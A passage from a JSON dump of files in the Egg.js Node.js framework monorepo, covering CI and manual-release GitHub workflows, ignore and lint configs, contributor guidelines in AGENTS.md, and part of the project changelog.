status=${STATUS}\"\n\n                if [ \"${STATUS}\" = \"200\" ]; then\n                  echo \"Health check succeeded with status 200\"\n                  READY=1\n                  break\n                fi\n\n                NOW=$(date +%s)\n                ELAPSED=$((NOW - START_TIME))\n                if [ \"${ELAPSED}\" -ge \"${TIMEOUT}\" ]; then\n                  echo \"Health check timed out after ${ELAPSED}s with last status ${STATUS}\"\n                  break\n                fi\n\n                sleep 5\n              done\n\n              npx eggctl stop\n\n              if [ \"${READY}\" != \"1\" ]; then\n                echo \"Health check failed; last HTTP status: ${STATUS}\"\n                echo \"Last health endpoint response body (if any):\"\n                cat /tmp/cnpmcore-health-response 2>/dev/null || echo \"<no response body captured>\"\n                echo \"Recent error logs (if any):\"\n                cat logs/cnpmcore/common-error.log 2>/dev/null || true\n                exit 1\n              fi\n          - name: examples\n            node-version: 24\n            command: |\n              # examples/helloworld https://github.com/eggjs/examples/blob/master/helloworld/package.json\n              cd helloworld\n              npm install\n              npm run lint\n              npm run test\n              npm run prepublishOnly\n              cd ..\n\n              # examples/hello-tegg https://github.com/eggjs/examples/blob/master/hello-tegg/package.json\n              cd hello-tegg\n              npm install\n              npm run lint\n              npm run test\n              npm run prepublishOnly\n    steps:\n      - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6\n      - uses: ./.github/actions/clone\n        with:\n          ecosystem-ci-project: ${{ matrix.project.name }}\n\n      - name: Install pnpm\n        uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4\n\n      - name: Set up Node.js\n        uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6\n        with:\n          node-version: ${{ matrix.project.node-version }}\n          cache: 'pnpm'\n\n      - name: Install dependencies\n        run: pnpm install --frozen-lockfile\n\n      - name: Build all packages\n        run: pnpm build\n\n      - name: Pack packages into tgz\n        run: |\n          pnpm -r pack\n\n      - name: Override dependencies from tgz in ${{ matrix.project.name }}\n        working-directory: ecosystem-ci/${{ matrix.project.name }}\n        run: |\n          node ../patch-project.ts ${{ matrix.project.name }}\n\n      - name: Run e2e test commands in ${{ matrix.project.name }}\n        working-directory: ecosystem-ci/${{ matrix.project.name }}\n        run: ${{ matrix.project.command }}\n"
  },
  {
    "path": ".github/workflows/release.yml",
    "content": "name: Manual Release\n\n# Retry-safe: if a previous release failed after version bump, re-running\n# with the same parameters will detect the existing version bump and skip it.\n# The publish script handles already-published packages gracefully.\n\non:\n  workflow_dispatch:\n    inputs:\n      branch:\n        description: 'Branch to release from'\n        required: true\n        default: 'next'\n        type: string\n      version_type:\n        description: 'Version bump type'\n        required: true\n        default: 'prerelease'\n        type: choice\n        options:\n          - patch\n          - minor\n          - major\n          - prerelease\n          - prepatch\n          - preminor\n          - premajor\n      prerelease_tag:\n        description: 'Prerelease tag (alpha, beta, rc) - only used with prerelease/pre* types'\n        required: false\n        default: 'beta'\n        type: choice\n        options:\n          - alpha\n          - beta\n          - rc\n      dry_run:\n        description: 'Dry run (do not publish)'\n        required: false\n        default: false\n        type: boolean\n\njobs:\n  release:\n    name: Manual Release\n    runs-on: ubuntu-latest\n\n    concurrency:\n      group: release-${{ github.event.inputs.branch }}\n      cancel-in-progress: false\n\n    permissions:\n      contents: write\n      packages: write\n      id-token: write\n\n    steps:\n      - name: Checkout\n        uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6\n        with:\n          ref: ${{ github.event.inputs.branch }}\n          fetch-depth: 0\n          token: ${{ secrets.GIT_TOKEN }}\n\n      - name: Setup pnpm\n        uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4\n\n      - name: Setup Node.js\n        uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6\n        with:\n          node-version: '24'\n          cache: 'pnpm'\n          registry-url: 'https://registry.npmjs.org'\n\n      - name: Install dependencies\n        run: pnpm install --frozen-lockfile\n\n      - name: Configure Git\n        run: |\n          git config --local user.email \"action@github.com\"\n          git config --local user.name \"GitHub Action\"\n\n      # Detect if this is a retry of a previously failed release.\n      # Skips version bump if the commit/tag already exist on HEAD.\n      - name: Detect existing release\n        id: detect\n        if: ${{ github.event.inputs.dry_run != 'true' }}\n        run: |\n          # Case 1: HEAD already has a version tag (version bump + push fully succeeded)\n          EXISTING_TAG=$(git describe --tags --exact-match HEAD 2>/dev/null || true)\n          if [[ -n \"$EXISTING_TAG\" && \"$EXISTING_TAG\" == v* ]]; then\n            echo \"🔄 Retry detected: found tag $EXISTING_TAG on HEAD\"\n            echo \"skip_version_bump=true\" >> $GITHUB_OUTPUT\n            echo \"need_push=false\" >> $GITHUB_OUTPUT\n            echo \"NEW_TAG=$EXISTING_TAG\" >> $GITHUB_ENV\n            exit 0\n          fi\n\n          # Case 2: HEAD is a version bump commit but tag may be missing (partial push)\n          HEAD_MSG=$(git log -1 --format=%s HEAD)\n          if [[ \"$HEAD_MSG\" == chore\\(release\\):*version\\ bump ]]; then\n            EGG_VERSION=$(node -e \"process.stdout.write(JSON.parse(require('fs').readFileSync('./packages/egg/package.json','utf8')).version)\")\n            EXPECTED_TAG=\"v${EGG_VERSION}\"\n            echo \"🔄 Retry detected: version bump commit found (tag: $EXPECTED_TAG)\"\n\n            # Create the tag locally if it doesn't exist\n            if ! git rev-parse \"$EXPECTED_TAG\" >/dev/null 2>&1; then\n              echo \"  Creating missing tag: $EXPECTED_TAG\"\n              git tag \"$EXPECTED_TAG\"\n            fi\n\n            echo \"skip_version_bump=true\" >> $GITHUB_OUTPUT\n            echo \"need_push=true\" >> $GITHUB_OUTPUT\n            echo \"NEW_TAG=$EXPECTED_TAG\" >> $GITHUB_ENV\n            exit 0\n          fi\n\n          # Case 3: Fresh release\n          echo \"Fresh release: will perform version bump\"\n          echo \"skip_version_bump=false\" >> $GITHUB_OUTPUT\n          echo \"need_push=true\" >> $GITHUB_OUTPUT\n\n      - name: Version bump (dry run)\n        if: ${{ github.event.inputs.dry_run == 'true' }}\n        run: |\n          echo \"🧪 Running version bump in dry-run mode...\"\n          if [[ \"${{ github.event.inputs.version_type }}\" == pre* ]]; then\n            node scripts/version.js ${{ github.event.inputs.version_type }} --prerelease-tag=${{ github.event.inputs.prerelease_tag }} --dry-run\n          else\n            node scripts/version.js ${{ github.event.inputs.version_type }} --dry-run\n          fi\n\n      - name: Version bump\n        if: ${{ github.event.inputs.dry_run != 'true' && steps.detect.outputs.skip_version_bump != 'true' }}\n        run: |\n          echo \"🚀 Running version bump...\"\n          if [[ \"${{ github.event.inputs.version_type }}\" == pre* ]]; then\n            node scripts/version.js ${{ github.event.inputs.version_type }} --prerelease-tag=${{ github.event.inputs.prerelease_tag }}\n          else\n            node scripts/version.js ${{ github.event.inputs.version_type }}\n          fi\n\n          NEW_TAG=$(git describe --tags --abbrev=0)\n          echo \"NEW_TAG=$NEW_TAG\" >> $GITHUB_ENV\n\n      - name: Push version commit and tags\n        if: ${{ github.event.inputs.dry_run != 'true' && steps.detect.outputs.need_push != 'false' }}\n        run: |\n          echo \"📤 Pushing to origin/${{ github.event.inputs.branch }} with tags...\"\n          git push origin ${{ github.event.inputs.branch }} --tags\n\n      - name: Run build\n        run: pnpm build\n\n      - name: Publish packages (dry run)\n        if: ${{ github.event.inputs.dry_run == 'true' }}\n        run: |\n          if [[ \"${{ github.event.inputs.version_type }}\" == pre* ]]; then\n            node scripts/publish.js --tag=${{ github.event.inputs.prerelease_tag }} --dry-run\n          else\n            node scripts/publish.js --tag=latest --dry-run\n          fi\n\n      - name: Publish packages\n        if: ${{ github.event.inputs.dry_run != 'true' }}\n        run: |\n          if [[ \"${{ github.event.inputs.version_type }}\" == pre* ]]; then\n            node scripts/publish.js --tag=${{ github.event.inputs.prerelease_tag }} --provenance\n          else\n            node scripts/publish.js --tag=latest --provenance\n          fi\n\n      - name: Create GitHub Release (draft)\n        if: ${{ !cancelled() && github.event.inputs.dry_run != 'true' && env.NEW_TAG != '' }}\n        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8\n        with:\n          github-token: ${{ secrets.GIT_TOKEN }}\n          script: |\n            const tag = process.env.NEW_TAG;\n            const versionType = '${{ github.event.inputs.version_type }}';\n\n            // Idempotent: check if release already exists (safe for retry)\n            try {\n              const existing = await github.rest.repos.getReleaseByTag({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                tag: tag,\n              });\n              core.info(`Release already exists: ${existing.data.html_url}`);\n              core.exportVariable('DRAFT_RELEASE_URL', existing.data.html_url);\n              return;\n            } catch (e) {\n              if (e.status !== 404) throw e;\n              // 404 = no release exists, proceed to create\n            }\n\n            let releaseBody = `## 🎉 ${versionType.charAt(0).toUpperCase() + versionType.slice(1)} Release\\n\\n`;\n            releaseBody += `This release includes ${versionType} version updates for all packages.\\n\\n`;\n            releaseBody += `### 📦 Published Packages\\n\\n`;\n\n            const fs = require('fs');\n            const packagesDirs = ['./packages', './tools', './plugins', './tegg/core', './tegg/plugin', './tegg/standalone'];\n            for (const packagesDir of packagesDirs) {\n              if (!fs.existsSync(packagesDir)) continue;\n              const packageFolders = fs.readdirSync(packagesDir);\n              for (const folder of packageFolders) {\n                const packageJsonPath = `${packagesDir}/${folder}/package.json`;\n                if (fs.existsSync(packageJsonPath)) {\n                  const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));\n                  if (packageJson.private) continue;\n                  releaseBody += `- [${packageJson.name}@${packageJson.version}](https://npmjs.com/package/${packageJson.name}/v/${packageJson.version})\\n`;\n                }\n              }\n            }\n            releaseBody += `\\n### 🔄 What's Changed\\n\\n`;\n            releaseBody += `<!-- Please add changelog information here manually -->\\n`;\n            releaseBody += `- Add your changelog items here\\n`;\n            releaseBody += `- Remove this placeholder text\\n\\n`;\n            releaseBody += `**Full Changelog**: https://github.com/${{ github.repository }}/compare/v${tag}...${tag}`;\n\n            const release = await github.rest.repos.createRelease({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              tag_name: tag,\n              name: tag,\n              body: releaseBody,\n              draft: true,\n              prerelease: versionType.includes('pre')\n            });\n\n            core.info(`Created draft release: ${release.data.html_url}`);\n            core.exportVariable('DRAFT_RELEASE_URL', release.data.html_url);\n\n      - name: Sync to cnpm\n        if: ${{ !cancelled() && github.event.inputs.dry_run != 'true' }}\n        run: node scripts/sync-cnpm.js\n\n      - name: Summary\n        if: ${{ !cancelled() }}\n        run: |\n          echo \"## 🎉 Release Summary\" >> $GITHUB_STEP_SUMMARY\n\n          if [ \"${{ github.event.inputs.dry_run }}\" == \"true\" ]; then\n            echo \"### 🧪 Dry Run Completed\" >> $GITHUB_STEP_SUMMARY\n            echo \"- Version bump: **${{ github.event.inputs.version_type }}**\" >> $GITHUB_STEP_SUMMARY\n            echo \"- Branch: **${{ github.event.inputs.branch }}**\" >> $GITHUB_STEP_SUMMARY\n            if [[ \"${{ github.event.inputs.version_type }}\" == pre* ]]; then\n              echo \"- npm tag: **${{ github.event.inputs.prerelease_tag }}**\" >> $GITHUB_STEP_SUMMARY\n            else\n              echo \"- npm tag: **latest**\" >> $GITHUB_STEP_SUMMARY\n            fi\n            echo \"- Status: **Dry run - no changes made**\" >> $GITHUB_STEP_SUMMARY\n          else\n            if [ \"${{ steps.detect.outputs.skip_version_bump }}\" == \"true\" ]; then\n              echo \"### 🔄 Retry Release Completed\" >> $GITHUB_STEP_SUMMARY\n            else\n              echo \"### ✅ Release Completed\" >> $GITHUB_STEP_SUMMARY\n            fi\n            echo \"- Version bump: **${{ github.event.inputs.version_type }}**\" >> $GITHUB_STEP_SUMMARY\n            echo \"- Branch: **${{ github.event.inputs.branch }}**\" >> $GITHUB_STEP_SUMMARY\n            echo \"- Tag: **$NEW_TAG**\" >> $GITHUB_STEP_SUMMARY\n            if [[ \"${{ github.event.inputs.version_type }}\" == pre* ]]; then\n              echo \"- npm tag: **${{ github.event.inputs.prerelease_tag }}**\" >> $GITHUB_STEP_SUMMARY\n            else\n              echo \"- npm tag: **latest**\" >> $GITHUB_STEP_SUMMARY\n            fi\n            echo \"- Packages published to npm\" >> $GITHUB_STEP_SUMMARY\n            if [ -n \"$DRAFT_RELEASE_URL\" ]; then\n              echo \"- GitHub Release: [View Draft]($DRAFT_RELEASE_URL)\" >> $GITHUB_STEP_SUMMARY\n            fi\n          fi\n"
  },
  {
    "path": ".gitignore",
    "content": "node_modules\ncoverage\n*.log\nnpm-debug.log\n.logs\nlogs\n*.swp\nrun\n*-run\n.idea\n.DS_Store\n.tmp\n.egg\n\n*-lock.json\n*-lock.yaml\nyarn.lock\n.editorconfig\n*clinic-flame*\n*clinic-doctor*\n.nyc_output/\ntest/fixtures/apps/app-ts/**/*.js\ntest/fixtures/apps/app-ts-esm/**/*.js\ntest/fixtures/apps/app-ts-type-check/**/*.js\ntest/fixtures/apps/app-ts-type-check/**/*.d.ts\ntest/fixtures/apps/app-ts/**/*.d.ts\ntest/fixtures/apps/app-ts-esm/**/*.d.ts\n\n# site\nsite/dist\n\n# Claude Code local settings (machine-personal, never commit)\n.claude/settings.local.json\n!site/public\n\n.umi\n.umi-production\n.vercel\npackage-lock.json\n.tshy*\ndist\nsite/.dumi/\n!pnpm-lock.yaml\n\n!packages/egg/test/fixtures/apps/loader-plugin/node_modules\n!packages/egg/test/fixtures/apps/app-ts/node_modules\n!packages/egg/test/fixtures/apps/app-ts/node_modules/**/*.js\n!packages/core/test/fixtures/egg-esm/node_modules\n!packages/core/test/fixtures/plugin-duplicate/node_modules\n!packages/core/test/fixtures/plugin/node_modules\n!packages/core/test/fixtures/plugin-pnpm-scope/node_modules\n!packages/core/test/fixtures/plugin-pkg-exports/node_modules\n!packages/core/test/fixtures/service-override/node_modules\n!packages/core/test/fixtures/scope-env/node_modules\n!packages/core/test/fixtures/scope/node_modules\n!packages/core/test/fixtures/plugin-optional-dependencies/node_modules\n!packages/core/test/fixtures/plugin-path-package/node_modules\n!packages/core/test/fixtures/env-disable/node_modules\n!packages/core/test/fixtures/middleware-override/node_modules\n!packages/core/test/fixtures/helper/node_modules\n!packages/core/test/fixtures/extend/node_modules\n!packages/core/test/fixtures/application/node_modules\n!packages/core/test/fixtures/agent/node_modules\n!packages/core/test/fixtures/plugin-pnpm/node_modules\n\n# egg-bin\ntools/egg-bin/test/fixtures/**/node_modules/\n!tools/egg-bin/test/fixtures/demo-app/node_modules/\n!tools/egg-bin/test/fixtures/demo-app-debug/node_modules/\n!tools/egg-bin/test/fixtures/demo-app-commonjs/node_modules/\n!tools/egg-bin/test/fixtures/demo-app-detect-port/node_modules/\n!tools/egg-bin/test/fixtures/demo-app-esm/node_modules/\n!tools/egg-bin/test/fixtures/demo-app-esm-dev/node_modules/\n\n!tools/egg-bin/test/fixtures/ts/node_modules/aliyun-egg/node_modules/\n\n!tools/egg-bin/test/fixtures/example/node_modules/\n!tools/egg-bin/test/fixtures/example-ts-cluster/node_modules/\n!tools/egg-bin/test/fixtures/egg-revert/node_modules/\n!tools/egg-bin/test/fixtures/egg-revert-dev/node_modules/\n!tools/egg-bin/test/fixtures/egg-revert-cov/node_modules/\n!tools/egg-bin/test/fixtures/egg-require/node_modules/\n!tools/egg-bin/test/fixtures/example-ts-simple/node_modules/\n!tools/egg-bin/test/fixtures/test-demo-app/node_modules/\n!tools/egg-bin/test/fixtures/test-demo-app-esm/node_modules/\n\n!tools/egg-bin/test/fixtures/test-postinstall/node_modules/\n\n!tools/egg-bin/test/fixtures/example-declarations/node_modules/\n!tools/egg-bin/test/fixtures/custom-framework-app/node_modules/\n!tools/egg-bin/test/fixtures/custom-framework-app-my-egg-bin/node_modules/\n\ntegg/plugin/oneapi/test/fixtures/modules/*/oneapi\ntegg/plugin/dal/test/fixtures/modules/*/dal/\ntegg/core/dal-runtime/test/fixtures/modules/*/dal\ntegg/core/dal-runtime/test/fixtures/modules/*/src/dal/\n!tegg/core/dal-runtime/test/fixtures/modules/dal/dal\n!tegg/core/dal-runtime/test/fixtures/modules/generate_codes_not_overwrite_dao/dal/extension/FooExtension.ts\n!tegg/core/dal-runtime/test/fixtures/modules/generate_codes_not_overwrite_dao/dal/dao/FooDAO.ts\ntegg/plugin/tegg/test/fixtures/apps/**/*.js\n!tegg/core/common-util/test/fixtures/**/node_modules\n!tegg/core/common-util/test/fixtures/**/node_modules/**/*.js\n!tegg/plugin/*/test/fixtures/**/*.js\n!tegg/plugin/*/typings/*.d.ts\n!tegg/plugin/*/test/fixtures/apps/*/config/*.js\n!tegg/plugin/*/test/fixtures/apps/**/typings/*.d.ts\n!tegg/core/eventbus-decorator/src/type.d.ts\n!tegg/plugin/orm/test/fixtures/prepare.js\n!tegg/benchmark/**/*.js\n!tegg/standalone/standalone/test/fixtures/**/node_modules\n!tegg/standalone/standalone/test/fixtures/**/node_modules/**/*.js\n!tegg/plugin/tegg/test/fixtures/**/node_modules\n!tegg/plugin/config/test/fixtures/**/node_modules\n\n*.tsbuildinfo\n*.tgz\n\necosystem-ci/cnpmcore\necosystem-ci/examples"
  },
  {
    "path": ".husky/pre-commit",
    "content": "npx lint-staged\n"
  },
  {
    "path": ".node-version",
    "content": "24.13.0\n"
  },
  {
    "path": ".oxfmtrc.json",
    "content": "{\n  \"$schema\": \"./node_modules/oxfmt/configuration_schema.json\",\n  \"printWidth\": 120,\n  \"singleQuote\": true,\n  \"ignorePatterns\": [\n    \"tegg/core/loader/test/fixtures/modules/loader-failed/AppRepo.ts\",\n    \"tegg/core/aop-runtime/test/aop-runtime.test.ts\",\n    \"packages/core/test/fixtures/load_dirs/syntax_error/*\",\n    \"packages/core/test/fixtures/syntaxerror/*\",\n    \"packages/core/test/fixtures/load_context_syntax_error/**/*\",\n    \"CHANGELOG.md\"\n  ],\n  \"experimentalSortImports\": {\n    \"groups\": [\n      [\"type-import\"],\n      [\"type-builtin\", \"value-builtin\"],\n      [\"type-external\", \"value-external\", \"type-internal\", \"value-internal\"],\n      [\"type-parent\", \"type-sibling\", \"type-index\", \"value-parent\", \"value-sibling\", \"value-index\"],\n      [\"ts-equals-import\"],\n      [\"unknown\"]\n    ],\n    \"newlinesBetween\": true,\n    \"order\": \"asc\"\n  },\n  \"yaml\": {\n    \"singleQuote\": true\n  }\n}\n"
  },
  {
    "path": ".oxlintrc.json",
    "content": "{\n  \"$schema\": \"./node_modules/oxlint/configuration_schema.json\",\n  \"env\": {\n    \"node\": true\n  },\n  \"ignorePatterns\": [\n    \"**/test/fixtures/**\",\n    \"tegg/benchmark/http\",\n    \"tools/create-egg/src/templates/egg3-tegg\",\n    \"tools/create-egg/src/templates/egg3-simple-ts/test\"\n  ],\n  \"rules\": {\n    \"no-unused-vars\": \"error\",\n    \"preserve-caught-error\": \"error\"\n  }\n}\n"
  },
  {
    "path": ".vscode/settings.json",
    "content": "{\n  \"vitest.disableWorkspaceWarning\": true\n}\n"
  },
  {
    "path": "AGENTS.md",
    "content": "# Repository Guidelines\n\n## Project Structure & Module Organization\n\nEgg is maintained as a pnpm monorepo. Core runtime code lives in `packages/egg`, while supporting modules such as `packages/core`, `packages/cluster`, and `packages/utils` provide shared internals. Optional integrations reside under `plugins/`. Example applications in `examples/` demonstrate CommonJS and TypeScript setups, and the marketing/documentation site is in `site/`. Unit tests sit beside their packages under `test/` directories, often with fixtures in `test/fixtures/`.\n\n## Build, Test, and Development Commands\n\nRun `pnpm install` to hydrate the workspace (Node.js ≥ 20.19.0 is required). Build all packages with `pnpm run build`. Execute `pnpm run test` for the Vitest suite or `pnpm run test:cov` to generate coverage. Lint with `pnpm run lint`; add `pnpm run typecheck` before large refactors to catch TypeScript issues. Use filters for package-specific workflows, e.g. `pnpm --filter=egg run test` or `pnpm --filter=site run dev`.\n\n## Coding Style & Naming Conventions\n\nThe repository is ESM-first and TypeScript-heavy; prefer `.ts` sources and exports over CommonJS. `oxfmt` and `oxlint --type-aware` enforce formatting—two-space indentation, trailing commas, and semicolons are the defaults. Name files in lowercase with hyphens (e.g. `loader-context.ts`), classes in PascalCase, and functions/variables in camelCase. Re-export types thoughtfully to keep the public API stable.\n\n## Testing Guidelines\n\nVitest is configured via `vitest.config.ts` to discover `**/test/**/*.test.ts` within each package. Mirror that pattern when adding suites, and place reusable data under `test/fixtures/`. Run `pnpm run test` locally before submitting; include integration coverage when touching cluster or agent behavior. For features affecting HTTP or process orchestration, add regression cases that exercise both the CommonJS and TypeScript example apps.\n\n## Commit & Pull Request Guidelines\n\nFollow the Angular-style commit format (`type(scope): subject`), mirroring existing history such as `fix(loader): ensure middleware order`. Squash granular work before opening a PR, and describe the change, motivation, test evidence, and any migration notes. Link related issues in the footer and mark breaking changes explicitly. PRs should pass lint, typecheck, and tests; attach screenshots or logs when updating developer tooling or the docs site.\n\n## Security & Configuration Tips\n\nReview `SECURITY.md` before disclosing vulnerabilities; never post exploit details publicly. Keep local Node.js and pnpm versions aligned with the repo’s `packageManager` field. Secrets and credentials belong in application-level configuration, not this repository. When working on the documentation site, scrub generated content before committing to avoid leaking local URLs.\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.1.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [4.1.0](https://github.com/eggjs/egg/compare/v4.0.10...v4.1.0) (2025-08-31)\n\n\n### Features\n\n* migrate to pnpm monorepo structure ([#5435](https://github.com/eggjs/egg/issues/5435)) ([7c44571](https://github.com/eggjs/egg/commit/7c445711c4db7c4d8e4238bef5b89f45b3d8d8bc))\n\n## [4.0.10](https://github.com/eggjs/egg/compare/v4.0.9...v4.0.10) (2025-03-10)\n\n\n### Bug Fixes\n\n* add missing tsd on application ([#5406](https://github.com/eggjs/egg/issues/5406)) ([8fa4aec](https://github.com/eggjs/egg/commit/8fa4aec1303b58ac76b41c9861db59b6dbdf912e))\n\n## [4.0.9](https://github.com/eggjs/egg/compare/v4.0.8...v4.0.9) (2025-02-04)\n\n\n### Bug Fixes\n\n* logger should not Partial ([#5393](https://github.com/eggjs/egg/issues/5393)) ([8e433d9](https://github.com/eggjs/egg/commit/8e433d9967e73837eedaffc163d42f4a5e167b47))\n\n## [4.0.8](https://github.com/eggjs/egg/compare/v4.0.7...v4.0.8) (2025-02-04)\n\n\n### Bug Fixes\n\n* add allowH2 define and more ([#5392](https://github.com/eggjs/egg/issues/5392)) ([413a6f9](https://github.com/eggjs/egg/commit/413a6f905161bc45ae54baccc83ae82170fecd09))\n\n## [4.0.7](https://github.com/eggjs/egg/compare/v4.0.6...v4.0.7) (2025-02-04)\n\n\n### Bug Fixes\n\n* use @eggjs/multipart and @eggjs/view ([#5391](https://github.com/eggjs/egg/issues/5391)) ([c464cda](https://github.com/eggjs/egg/commit/c464cda53f1000f65546c9bd53b323fe667bd69f))\n\n## [4.0.6](https://github.com/eggjs/egg/compare/v4.0.5...v4.0.6) (2025-02-03)\n\n\n### Bug Fixes\n\n* use @eggjs/logrotator ([#5390](https://github.com/eggjs/egg/issues/5390)) ([351a022](https://github.com/eggjs/egg/commit/351a0220f15874094f7f99a6cef7bbd50e2b3333))\n\n## [4.0.5](https://github.com/eggjs/egg/compare/v4.0.4...v4.0.5) (2025-02-03)\n\n\n### Bug Fixes\n\n* use @eggjs/onerror ([#5389](https://github.com/eggjs/egg/issues/5389)) ([762e301](https://github.com/eggjs/egg/commit/762e3015120883212c1266054469ec509e7c369f))\n\n## [4.0.4](https://github.com/eggjs/egg/compare/v4.0.3...v4.0.4) (2025-02-02)\n\n\n### Bug Fixes\n\n* export createAnonymousContext define ([#5388](https://github.com/eggjs/egg/issues/5388)) ([5d15623](https://github.com/eggjs/egg/commit/5d15623e5e7b412065adff0e02f2d2677289c176))\n\n## [4.0.3](https://github.com/eggjs/egg/compare/v4.0.2...v4.0.3) (2025-01-21)\n\n\n### Bug Fixes\n\n* mv single to @eggjs/core ([#5387](https://github.com/eggjs/egg/issues/5387)) ([b223c7a](https://github.com/eggjs/egg/commit/b223c7a1318f56a1eba8bdfd2903f9199a1bbd97))\n\n## [4.0.2](https://github.com/eggjs/egg/compare/v4.0.1...v4.0.2) (2025-01-19)\n\n\n### Bug Fixes\n\n* use @eggjs/security and @eggjs/session ([#5384](https://github.com/eggjs/egg/issues/5384)) ([d11ecd3](https://github.com/eggjs/egg/commit/d11ecd3fde8453ef88f8cf79ca98abafc2da151d))\n\n## [4.0.1](https://github.com/eggjs/egg/compare/v4.0.0...v4.0.1) (2025-01-14)\n\n\n### Bug Fixes\n\n* add createHttpClient back to app instance ([#5383](https://github.com/eggjs/egg/issues/5383)) ([e5a697e](https://github.com/eggjs/egg/commit/e5a697e14003d6a12a35a4df4d4ebd6f746ef9ef)), closes [/github.com/eggjs/egg/blob/a612e806019402aa217a1562b5ad847a308e843b/lib/egg.js#L293](https://github.com/eggjs//github.com/eggjs/egg/blob/a612e806019402aa217a1562b5ad847a308e843b/lib/egg.js/issues/L293) [/github.com/eggjs/security/blob/e3408408adec5f8d009d37f75126ed082481d0ac/lib/extend/safe_curl.js#L21](https://github.com/eggjs//github.com/eggjs/security/blob/e3408408adec5f8d009d37f75126ed082481d0ac/lib/extend/safe_curl.js/issues/L21)\n\n## [4.0.0](https://github.com/eggjs/egg/compare/v3.24.1...v4.0.0) (2025-01-11)\n\n\n### ⚠ BREAKING CHANGES\n\n* Drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nBreaking changes:\n - Drop Node.js < 18.19.0 support\n - Drop generator function support\n\nuse @eggjs/core@4 https://github.com/eggjs/egg-core/pull/265\n\n### Features\n\n* **doc:** cookies 增加 partitioned、removeUnpartitioned 和 priority 选项文档 ([#5376](https://github.com/eggjs/egg/issues/5376)) ([60eb8a1](https://github.com/eggjs/egg/commit/60eb8a1264f74b9690748f339161af7c5106b72d))\n* refactor with typescript to support cjs ane esm both ([#5328](https://github.com/eggjs/egg/issues/5328)) ([a09b1cf](https://github.com/eggjs/egg/commit/a09b1cfcf47cae8b577a8136c927b42d989c58a5))\n\n## [3.24.1](https://github.com/eggjs/egg/compare/v3.24.0...v3.24.1) (2024-06-07)\n\n\n### Bug Fixes\n\n* serverTimeout default to 0 (no timeout) ([#5325](https://github.com/eggjs/egg/issues/5325)) ([44ab507](https://github.com/eggjs/egg/commit/44ab507b6299c849a2fe31bee54f3a1909aa9d53))\n\n## [3.24.0](https://github.com/eggjs/egg/compare/v3.23.0...v3.24.0) (2024-06-07)\n\n\n### Features\n\n* add bodyParser.onProtoPoisoning type define ([#5324](https://github.com/eggjs/egg/issues/5324)) ([b3582e0](https://github.com/eggjs/egg/commit/b3582e02d0f5d85edbc03f3f20c4cdcc65619dc1))\n\n## [3.23.0](https://github.com/eggjs/egg/compare/v3.22.0...v3.23.0) (2024-05-08)\n\n\n### Features\n\n* use utility@2 ([#5312](https://github.com/eggjs/egg/issues/5312)) ([9bf5f22](https://github.com/eggjs/egg/commit/9bf5f22bfae44a1f44651efba7b3e167f9040714))\n\n## [3.22.0](https://github.com/eggjs/egg/compare/v3.21.0...v3.22.0) (2024-04-12)\n\n\n### Features\n\n* app.httpClient alias to app.httpclient ([#5304](https://github.com/eggjs/egg/issues/5304)) ([a6ebe0f](https://github.com/eggjs/egg/commit/a6ebe0f49a9e1a8506c26a0bb4e89a32528aa727))\n\n## [3.21.0](https://github.com/eggjs/egg/compare/v3.20.0...v3.21.0) (2024-03-31)\n\n\n### Features\n\n* tiny improvements for \"convertValue\" ([#5302](https://github.com/eggjs/egg/issues/5302)) ([794d7f3](https://github.com/eggjs/egg/commit/794d7f3e89c2a283e38d2082b407b79e480f0b50))\n\n## [3.20.0](https://github.com/eggjs/egg/compare/v3.19.0...v3.20.0) (2024-02-22)\n\n\n### Features\n\n* urllib-next alias to npm:urllib ([#5299](https://github.com/eggjs/egg/issues/5299)) ([61cd51d](https://github.com/eggjs/egg/commit/61cd51d02a86cb6ca8d510fb3ea3a1ed73f7beec))\n\n## [3.19.0](https://github.com/eggjs/egg/compare/v3.18.0...v3.19.0) (2024-02-08)\n\n\n### Features\n\n* 优化中文文档表达 ([#5290](https://github.com/eggjs/egg/issues/5290)) ([d73046b](https://github.com/eggjs/egg/commit/d73046bb9165c74473b6f28842de23c880e78a87))\n\n## [3.18.0](https://github.com/eggjs/egg/compare/v3.17.7...v3.18.0) (2024-01-21)\n\n\n### Features\n\n* auto set custom logger with onelogger ([#5287](https://github.com/eggjs/egg/issues/5287)) ([1fd79a2](https://github.com/eggjs/egg/commit/1fd79a2715b4eded47ae77d955de5fa50efa573b))\n\n## [3.17.7](https://github.com/eggjs/egg/compare/v3.17.6...v3.17.7) (2024-01-11)\n\n\n### Bug Fixes\n\n* omit koa application ctxStorage and currentContext define ([#5285](https://github.com/eggjs/egg/issues/5285)) ([4c24dac](https://github.com/eggjs/egg/commit/4c24dac1e9ec86051d806dd6940c1d5095723b4d))\n\n## [3.17.6](https://github.com/eggjs/egg/compare/v3.17.5...v3.17.6) (2024-01-10)\n\n\n### Bug Fixes\n\n* typo on index.d.ts ([#5284](https://github.com/eggjs/egg/issues/5284)) ([17ee60b](https://github.com/eggjs/egg/commit/17ee60b35a48c22eb90f392b688b4347c44b490d))\n\n## [3.17.5](https://github.com/eggjs/egg/compare/v3.17.4...v3.17.5) (2023-10-12)\n\n\n### Bug Fixes\n\n* set body parser error to status 400 by default ([#5262](https://github.com/eggjs/egg/issues/5262)) 